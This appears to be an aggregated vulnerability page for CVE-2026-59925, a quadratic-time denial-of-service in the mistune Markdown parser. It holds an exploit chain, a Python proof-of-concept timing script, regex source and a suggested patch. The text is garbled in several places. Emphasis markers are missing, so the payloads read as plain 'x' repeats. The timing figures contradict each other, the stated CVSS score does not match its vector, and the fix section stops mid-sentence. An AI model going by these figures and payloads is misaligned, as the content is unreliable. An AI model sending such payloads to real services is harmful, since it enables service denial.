🛡️ CVE-2026-59925 — mistune
Description
Mistune inline_parser: quadratic-time parsing on long runs of x and *x* emphasis pairs
Summary
Type: Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed x (strong) or *x* (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS ([ repetition) and from the formatting-plugin DoS (~~/==/^^); this one fires on default-config mistune with no plugins required.
File: src/mistune/inline_parser.py lines 41-48 (the EMPHASIS_END_RE family) and the surrounding emphasis dispatch.
Root cause: for every opening run of *s the parser scans forward using one of EMPHASIS_END_RE['*'] / [''] / ['*'] to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped x repeated N times, every is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant *x* is slightly worse due to the extra alternation between *, , and *** close patterns. Reproducible against default mistune with no plugins.
Affected Code
File: src/mistune/inline_parser.py, lines 41-48.
```python
EMPHASIS_END_RE = {
"*": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*(?!\*)"),
"_": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])_(?!_)\b"),
"**": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*(?!\*)"),
"__": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])__(?!_)\b"),
"***": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*\*(?!\*)"),
"___": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])___(?!_)\b"),
}
# Each of the six end-patterns is invoked from every emphasis open position
# fired by the inline rule r"\*{1,3}(?=[^\s*])|\b_{1,3}(?=[^\s_])". The
# scan itself is bounded per call; the cost comes from the parser invoking
# the scan at every matching open marker, giving O(N²) total work.
```
Why it's wrong: same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (commonmark.js, commonmark-py, markdown-it-py all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.
Exploit Chain
1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default mistune.create_markdown() configuration.
2. Attacker submits a 40 KB payload of x repeated 8000 times.
3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.
4. Repeating the request floods the worker pool.
Security Impact
Severity: sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.
Attacker capability: O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.
Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. No plugins required.
Differential: PoC-verified against [email protected], default config:
```python
import mistune, time
md = mistune.create_markdown() # no plugins
for n in [500, 1000, 2000, 4000, 8000]:
s = 'x' * n
t = time.time()
md(s)
print(f' x * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')
# Output (Python 3.13, Linux, 2.5GHz CPU):
# x * 500 (2500b): 20ms
# x * 1000 (5000b): 74ms
# x * 2000 (10000b): 284ms
# x * 4000 (20000b): 1079ms
# x * 8000 (40000b): 4309ms
# Triple-emphasis is similar:
md('*x*' * 4000) # ~1500ms
# Linear in N for non-emphasis input of comparable size:
md('xxxxx' * 8000) # 1ms (4000x faster)
```
The patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.
Suggested Fix
Cap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:
```diff
--- a/src/mistune/inline_parser.py
+++ b/src/mistune/inline_parser.py
@@ ... in the emphasis-handling code path
+ # Bound the number of open emphasis markers tracked. CommonMark gives
+ # no semantics to deeply nested unmatched emphasis; this cap turns the
+ # parser-level O(N^2) into O(N) for adversarial inputs while preserving
+ # behaviour on every realistic markdown document.
+ MAX_OPEN_EMPHASIS = 100
+ if open_emphasis_count > MAX_OPEN_EMPHASIS:
+ # treat remaining * / _ as literal text
+ ...
```
The proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2026-59925 is classified as CWE-1333: Inefficient Regular Expression Complexity. A regular expression backtracks catastrophically on crafted input, consuming CPU out of proportion to input size.
Affected software
CVE-2026-59925 is recorded against 1 package.
- mistune (fixed in 3.3.0)
Timeline and source
Published on 20 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| mistune | — | 3.3.0 |
References
Similar Threats
- High CVE-2026-59922
- Medium CVE-2026-59923
- Medium CVE-2026-59924
- Medium CVE-2026-59926
- Medium CVE-2026-59927
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running mistune?
CVE-2026-59925 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-59925 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.